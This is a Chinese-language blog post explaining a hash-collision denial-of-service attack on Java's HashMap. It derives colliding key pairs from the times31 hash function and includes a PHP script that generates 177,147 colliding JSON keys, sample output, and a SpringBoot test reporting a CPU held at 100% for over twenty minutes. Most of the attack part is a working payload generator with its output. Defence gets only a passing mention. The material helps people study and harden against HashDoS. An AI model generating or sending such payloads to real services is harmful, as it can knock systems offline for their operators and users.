Java Hash Collision之資料生産

上一篇文章一種進階的DoS攻擊-Hash碰撞攻擊我通過僞造Hash Collision資料實作了對Java的DoS攻擊，下面說說如何生産大量的攻擊資料。

HashTable是一種非常常用的資料結構。它存取速度快，結構簡單，深得程式員喜愛。HashTable大緻資料結構如下圖：

Hash Function也叫哈希散列函數，通過散列函數我們能将各種類型的key轉換為有限空間内的一個記憶體位址。常見的散列函數有MD5，SHA*。不過HashTable中基本不會用MD5，SHA*算法,因為這兩類算法太耗時，基本所有的程式設計語言都會選擇Times*類型算法，比如Times31,times33,times37。Java使用的Hash算法為Times31，PHP使用的Hash算法為times33……

如果正常的使用HashTable，HashTable會是一種完美的資料結構。不過總有一些時候HashTable會被不正常使用，例如被攻擊。假設”layne”,”abbc”這兩個key通過雜湊演算法得到的記憶體位址一樣，我們的程式就不知道到底要擷取哪一個key的參數。針對這種情況我們引入了Bucket（一個連結清單結構）的概念，當遇到這種情況時，程式會将同一個記憶體位址對應的多個資料存入同一個Bucket連結清單，這樣能解決資料擷取不到的問題，但是會帶來額外的運算。當數十萬甚至百萬的資料都打到同一個Bucket，對HashTable的影響是緻命的，運算量将急劇增加，分分鐘将CPU耗盡。

通過研究各種語言底層的HashTable雜湊演算法就能生産對應的攻擊資料，這種攻擊很難防禦。不過在我們知道攻擊原理之後，還是能很好應對。

一. Java HashCode函數實作

通過Google，我們很輕松的就搜尋到了Java HashTable實作的雜湊演算法，在Java中有個叫HashCode()的方法，我們可以這樣使用。

System.out.println(“it2048.cn”.hashCode());

HashCode()函數底層就是使用times31算法，至于為什麼選擇times31，官方說法是『 31 * i == (i << 5) - i 』，運算起來更快。源代碼如下：

/**
 * Returns a hash code for this string. The hash code for a
 * <code>String</code> object is computed as
 * <blockquote><pre>
 * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
 * </pre></blockquote>
 * using <code>int</code> arithmetic, where <code>s[i]</code> is the
 * <i>i</i>th character of the string, <code>n</code> is the length of
 * the string, and <code>^</code> indicates exponentiation.
 * (The hash value of the empty string is zero.)
 *
 * @return  a hash code value for this object.
 */
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

核心的計算的公式如下：

s[0]*31^(n-1) + s[1]*31^(n-2) + … + s[n-1]

通過推導計算，得到的計算公式如下：

F(n) = 31*F(n-1) + str[i]

使用PHP實作如下（這裡隻為加強說明哈希雜湊演算法底層都是很簡單的公式）：

function hashCode($str) {  
    $h = 0;
    $len = strlen($str);
    $t = 2147483648; //java int的最大值
    for ($i = 0; $i < $len; $i++) {
        $h = (($h << 5) - $h) + ord($str[$i]);
        if($h > $t) $h %= $t; //溢出取模
    }
    return $h;
}

二. 通過Java HashCode函數實作逆推

通過如下公式

F(n) = 31*F(n-1) + str[i]

我們可以進一步推導出如下方程式：

31*x + y = 31*(x+1) + y-31 = 31*(x+2) + y-62

我們很容易找到滿足條件的3組ASCII字元，分别是：

at = 97*31 + 116 = 3123

bU = 98*31 + 85 = 3123

c6 = 99*31 + 54 = 3123

通過如上資料，理論上我們可以構造任何偶數位的字元串，比如：

atatatatatatatat (16位)
c6atatatatatatbU (16位)
atatatatatatbUat (16位)
c6c6c6c6c6c6bUat (16位)

如上16位字元串得到的hashCode都是一樣，理論上我們可以得到 pow(3,16/2) = 6561 個字元串；22位長度的字元串可以得到pow(3,22/2) = 177147 個字元串，用來發起簡單的攻擊完全足夠。接下來我們封裝一個簡單的函數來生成 177147 個攻擊字元串；

三. 通過腳本批量産出碰撞資料

如上我們已經推算出碰撞資料的實作方程式，接下來我通過PHP快速的生成碰撞資料。這裡最好不要使用Java來生成碰撞資料，因為操作不當就會變成攻擊自己的腳本。

$arr_src = [\'at\',\'bU\',\'c6\']; 
$str_tmp = \'\';  //存儲臨時字元串
$arr_rtn = [];
$t = combs(11,$arr_src,$str_tmp,$arr_rtn);
/**
 * 組合算法
 **/
function combs($n,$arr,$str,&$arr_rtn) {
    if($n==1){
        for($j=0;$j<3;$j++){
            $arr_rtn[$str.$arr[$j]] = 0;
        }
    }else
    {
        for($j=0;$j<3;$j++){
            combs($n-1,$arr,$str.$arr[$j],$arr_rtn);
        }
    }
}
$json = json_encode($arr_rtn);
file_put_contents(\'log/times31.txt\',$json);

最後我們生成了如下資料(截取了前面幾條)：

{
	"atatatatatatatatatatat":0,
	"atatatatatatatatatatbU":0,
	"atatatatatatatatatatc6":0,
	"atatatatatatatatatbUat":0,
	"atatatatatatatatatbUbU":0,
	"atatatatatatatatatbUc6":0,
	"atatatatatatatatatc6at":0,
	"atatatatatatatatatc6bU":0,
	"atatatatatatatatatc6c6":0,
	"atatatatatatatatbUatat":0,
	"atatatatatatatatbUatbU":0,
	"atatatatatatatatbUatc6":0,
	"atatatatatatatatbUbUat":0,
	"atatatatatatatatbUbUbU":0,
	"atatatatatatatatbUbUc6":0,
	"atatatatatatatatbUc6at":0
}

四. 在Java中測試碰撞資料

通過程式我們生成了177147條碰撞資料，然後在SpringBoot中做個簡單的測試，測試代碼如下：

public class IndexController {

    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(){

        String jsonStr = "";
        try
        {
            FileReader fr = new FileReader("times31.txt");//需要讀取的檔案路徑
            BufferedReader br = new BufferedReader(fr);
            jsonStr = br.readLine();
            br.close();//關閉BufferReader流
            fr.close();		//關閉檔案流
        }catch(IOException e)//捕捉異常
        {
            System.out.println("指定檔案不存在");//處理異常
        }

        Map<String, Object> map = new HashMap<String, Object>();

        map = JSONObject.fromObject(jsonStr);


        return "Hash Collision ~";
    }
}

測試結果，一個CPU被打到100%，持續了20多分鐘。Mac Pro馬上發燙，風扇開啟。結束該java程序後電腦恢複。

posted on

2019-03-08 11:04

ExploreEverything

閱讀(189)

評論(0)

編輯

舉報

Java Hash Collision之資料生産 - ExploreEverything